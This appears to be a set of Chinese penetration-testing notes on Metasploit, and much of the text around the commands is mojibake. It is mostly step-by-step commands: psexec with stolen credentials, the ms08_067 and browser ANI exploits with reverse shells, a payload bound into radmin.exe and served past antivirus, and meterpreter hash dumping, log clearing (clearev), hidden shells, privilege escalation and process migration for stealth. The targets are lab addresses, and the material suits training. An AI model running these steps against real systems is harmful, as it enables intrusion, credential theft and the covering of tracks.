1.滲透測試框架
默認的數(shù)據(jù)庫為:postgresql
端口為:5432
初始化數(shù)據(jù)庫
msfdb reinit
2.技術(shù)功能模塊(不是流程模塊)
程序主目錄
/usr/share/metasploit-framework/
有6個模塊
Exploits:利用系統(tǒng)漏洞進行攻擊的動作罗捎,此模塊對應(yīng)的每一個具體漏洞的攻擊方法(主動具温、被動)
Payload:成功exploit之后珠闰,真正在目標系統(tǒng)中執(zhí)行的代碼指令
- shellcode或系統(tǒng)命令
- 三種payload:/usr/share/metasploit-framework/modules/payload/
- single:all-in-one
- stager:目標計算器內(nèi)存有限時,先傳輸一個較小的payload用于建立連接
- stages:利用stager建立的連接下載的后續(xù)payload
- stager占卧、stages都有多種類型瓣窄,適用于不同場景
- shellcode 是payload的一種溢吻,由于其建立正向/反向shell而得名
msf架構(gòu)
技術(shù)功能模塊(不是流程模塊)
- Auxiliary:執(zhí)行信息收集乌庶、枚舉、指紋探測左痢、掃描等功能輔助模塊(沒有payload的exploit模塊)
- Encoders:對payload進行加密靡羡,躲避AV檢查的模塊
- Nope:提高payload穩(wěn)定性及維持大小
基本的使用
使用前先升級:msfupdate
初始化數(shù)據(jù)庫:smfdb reinit
Msfcli使用接口
Msfconsole使用接口
- 最流行的接口
- 幾乎可以使用全部MSF功能
- 控制臺命令支持TAB自動補齊
- 支持外部命令的執(zhí)行(系統(tǒng)命令等)
- 點擊鼠標啟動 /msfconsole -h -q -r -v /exit
- help / ? / help vulns
msf控制臺命令
- banner :顯示banner信息
- color:顏色的區(qū)分
- connect -h 可以作為一個客戶端去連接別人,類似于nc差不多俊性,支持SSL略步,代理,UDP
show auxiliary / exploits / payload / encoders / nops
search ms10-046 搜索內(nèi)容太多定页,可以使用下面的語句進行快速搜索
- search name:mysql
- search cve:2016
- search type:auxiliary
08-067漏洞利用
search 08_067 查找模塊
use exploit/windows/smb/ms08_067_netapi 進入模塊
info 查看模塊當前模塊的基本信息
show options 設(shè)置選項
show targets 制定類型
show advanced 設(shè)置高級的參數(shù)
show missing 設(shè)置需要配置的參數(shù)
set rhost 192.168.11.118 設(shè)置要攻擊的IP
check 檢查漏洞是否真的存在
back 返回上一層
數(shù)據(jù)庫斷開與連接
db_disconnect 斷開當前數(shù)據(jù)庫的連接
cd /usr/share/metasploit-framework/config 默認的數(shù)據(jù)庫連接地址
db_connect msf3:msf@localhost/msf3 數(shù)據(jù)庫連接
db_nmap
>db_nmap 192.168.1.1 調(diào)用namp掃描工具趟薄,并保存到PostgreSQL里面
hosts 查看數(shù)據(jù)庫里面的nmap掃描記錄
hosts 192.168.1.1 篩選其中一條nmap記錄
services 查看開放的端口
>services -S 3306 查看某個特定開放的端口
services -c port,state -p 1-200 查看端口和狀態(tài)為開放的IP段1-200的存活ip
mysql_login模塊使用
search mysql_login 搜索這個漏洞利用輔助模塊
use auxiliary/scanner/mysql/mysql_login 進入這個輔助模塊
show options 設(shè)置
set blank_passwords true 開啟密碼為空的選項
set rhosts 192.168.11.120 攻擊IP
set username root 用戶名
exploit 開始
creds 查看利用成功的IP
數(shù)據(jù)庫導(dǎo)入
db_import /root/12.xml
unset rhosts 取消剛剛設(shè)置的參數(shù)
setg rhosts 1.1.1.1 全局變量,把所有要設(shè)置IP的參數(shù)全部都設(shè)置成1.1.1.1
unsetg rhosts 取消全局變量
Exploit模塊
RHOST遠程主機典徊,LHOST本地主機
1.active杭煎,受害者的服務(wù)存在漏洞恩够,攻擊者主動向受害者發(fā)送漏洞利用代碼。
實例:exploit/windows/smb/psexec
適用場景:攻擊者獲取到了受害者的賬號和密碼岔帽,但是受害者機器上沒有開放Telnet玫鸟,遠程桌面等服務(wù)导绷。
注:如果想該漏洞利用成功犀勒,需要關(guān)閉用戶賬號控制設(shè)置(UAC)
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set rhost 192.168.80.150
msf exploit(psexec) > set smbuser coler
msf exploit(psexec) > set smbpass 123456
msf exploit(psexec) > set payload windows/shell/reverse_tcp
msf exploit(psexec) > set lhost 192.168.80.163
msf exploit(psexec) > exploit -j
msf exploit(handler) > sessions -u 1 將shell提升到meterpreter類型的shell
上面攻擊都是針對存在漏洞的服務(wù)器程序,提供服務(wù)器端的程序
2.passive妥曲,受害者的客戶端程序存在漏洞贾费,攻擊者誘使受害者使用存在漏洞的客戶端程序,訪問自己構(gòu)建好的 存在漏洞利用代碼的服務(wù)端程序檐盟。
實例:exploit/windows/browser/ms07_017_ani_loadimage_chunksize
msf > use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
msf exploit(ms07_017_ani_loadimage_chunksize) > set srvhost 192.168.80.163
msf exploit(ms07_017_ani_loadimage_chunksize) > set payload windows/shell/reverse_tcp
msf exploit(ms07_017_ani_loadimage_chunksize) > set lhost 192.168.80.163
msf exploit(ms07_017_ani_loadimage_chunksize) > exploit
在存在漏洞的IE瀏覽器上訪問http://192.168.80.163/褂萧,攻擊者會得到受害者的shell。
payload模塊
msf > use payload/windows/shell_bind_tcp
msf payload(windows/shell_bind_tcp) > generate -b '\x00' 過濾壞字符(實際是使用encoders模塊將壞字符編碼)
msf payload(windows/shell_bind_tcp) > generate -b '\x00\xff' -t exe -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f 123.exe 將payload綁定到radmin.exe中
在靶機上運行123.exe葵萎,然后在攻擊機上用nc連接靶機的4444端口导犹,會獲得靶機的shell。
root@kali:~# nc 192.168.11.122 4444
注:有時將綁定payload的執(zhí)行程序拷貝到物理機上羡忘,會被物理機的殺毒軟件殺掉谎痢,可以先開啟msf的Apache服務(wù),將exe程序放在/var/www/html目錄下卷雕,然后通過虛擬機直接訪問下載节猿。
root@kali:~# service apache2 start
root@kali:~# cp 123.exe /var/www/html/
Meterpreter
- 高級、動態(tài)漫雕、可擴展的payload
- 基于meterpreter上下文利用更多漏洞發(fā)起攻擊
- 后滲透測試階段一站式操作界面
2.完全基于內(nèi)存的DLL注入式payload(不寫硬盤)
- 注入到系統(tǒng)一個正常的進程里面(桌面進程等(explorer.exe))隱蔽性很好
- 利用tls隧道進一步加載后續(xù)擴展模塊(避免網(wǎng)絡(luò)取證 )
Meterpreter基本命令
例子:ms08_067
search ms08_067
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > show options
msf exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.11.114
msf exploit(windows/smb/ms08_067_netapi) > set target 34
msf exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms08_067_netapi) >set lhost 192.168.11.124
msf exploit(windows/smb/ms08_067_netapi) >msf exploit(windows/smb/ms08_067_netapi) >exploit -j
sessions -l
---------------------------------------------------------------------------------------------------
msf exploit(windows/smb/ms08_067_netapi) >sessions -i 2 進入meterpreter類型的shell
meterpreter > background 退出到msf命令提示符下滨嘱,session一直都在
meterpreter > lpwd 等價于在kali上輸入pwd
meterpreter > lcd /etc 等價于在kali上輸入cd /etc
meterpreter >edit aaa.txt 編輯文件
meterpreter > getuid 查看權(quán)限
meterpreter > bgrun hashdump 獲取目標主機的hash
meterpreter > bgrun vnc 開啟圖形化的遠程管理
--------------------------------------------------------------------------------------------------------
meterpreter > clearev 清除日志
meterpreter > download OEWABLog.txt 下載目標主機上面的文件
meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32 上傳nc到目標主機上面,注意要使用2個反斜杠
meterpreter > dir system32\\nc.exe 查看是否上傳成功
meterpreter > execute -f cmd.exe -i -H 獲得目標主機的shell浸间,-i交互模式太雨,-H隱藏
---------------------------------------------------------------------------------------------------------
meterpreter > getuid 查看當前賬號
meterpreter > getsystem 如果獲取的不是system權(quán)限,強制性的獲取成system
meterpreter > getprivs 查看有哪些操作系統(tǒng)的權(quán)限
meterpreter > getpid 查看注入到那個進程里面了
Current pid: 1100
meterpreter > ps 查看這個1100是什么進程
meterpreter > migrate 1624 把1100的進程遷移到1624(桌面的進程中來)這樣做的目的是:隱蔽性比較好魁蒜,查看進程時躺彬,是一個正常的進程
-----------------------------------------------------------------------------------------------------------
操作系統(tǒng)中常用的命令:
meterpreter > hashdump
meterpreter > run post/windows/gather/smart_hashdump
上面兩個都是獲取hash的命令,第二個調(diào)用模塊梅惯,第一個自身的命令宪拥,結(jié)果都是一樣的
meterpreter > sysinfo 查看系統(tǒng)信息
meterpreter > kill 1100 結(jié)束進程
meterpreter > show_mount 查看目標系統(tǒng)主機掛載的盤
----------------------------------------------------------------------------------------------------------
網(wǎng)絡(luò)中的命令:
terpreter > route 查看當前路由表
terpreter > arp
terpreter > netstat
terpreter > ipconfig和ifconfig 在meterpreter都可以使用
-------------------------------------------------------------------------------------------------------
meterpreter > idletime 目標操作系統(tǒng)空閑多長時間
Meterpreter python擴展
2015年11月份,來自社區(qū)的貢獻
無需運行環(huán)境铣减,在客戶端運行原生python代碼
load python
- help
- meterpreter > python_execute "print('hello world')"
msf 信息收集
一她君、主動信息收集
1、Nmap掃描
db_nmap -sV 192.168.1.1
2葫哗、search arp
msf > use auxiliary/scanner/discovery/arp_sweep 進入arp_sweep 這個模塊
msf auxiliary(scanner/discovery/arp_sweep) > show options 查看需要配置的參數(shù)
msf auxiliary(scanner/discovery/arp_sweep) > set rhosts 192.168.11.0/24 設(shè)置目標主機的IP段
msf auxiliary(scanner/discovery/arp_sweep) > set threads 20 設(shè)置線程為20
msf auxiliary(scanner/discovery/arp_sweep) > exploit/run 開始掃描
3缔刹、search portscan
msf > use auxiliary/scanner/portscan/syn 進入這個掃描的模塊
msf auxiliary(scanner/portscan/syn) > show options 查看需要配置的參數(shù)
msf auxiliary(scanner/portscan/syn) > set ports 80 設(shè)置掃描的端口
msf auxiliary(scanner/portscan/syn) > set rhosts 192.168.11.0/24 設(shè)置目標主機的IP段
msf auxiliary(scanner/portscan/syn) > set threads 20 設(shè)置線程
msf auxiliary(scanner/portscan/syn) > show options 再次查看需要設(shè)置的參數(shù)
msf auxiliary(scanner/portscan/syn) > exploit 運行
4球涛、UDP掃描
msf > use auxiliary/scanner/discovery/udp_sweep 進入模塊
msf auxiliary(scanner/discovery/udp_sweep) > show options 查看需要配置的參數(shù)
msf auxiliary(scanner/discovery/udp_sweep) > set rhosts 192.168.1.100-192.168.1.200 設(shè)置目標主機的IP段
msf auxiliary(scanner/discovery/udp_sweep) > run 開始掃描
二、被動信息收集
密碼嗅探
- 支持從pcap抓包文件中提取密碼
- 功能類似于dsniff
- 目前支持pop3校镐、imap亿扁、ftp、Http GET協(xié)議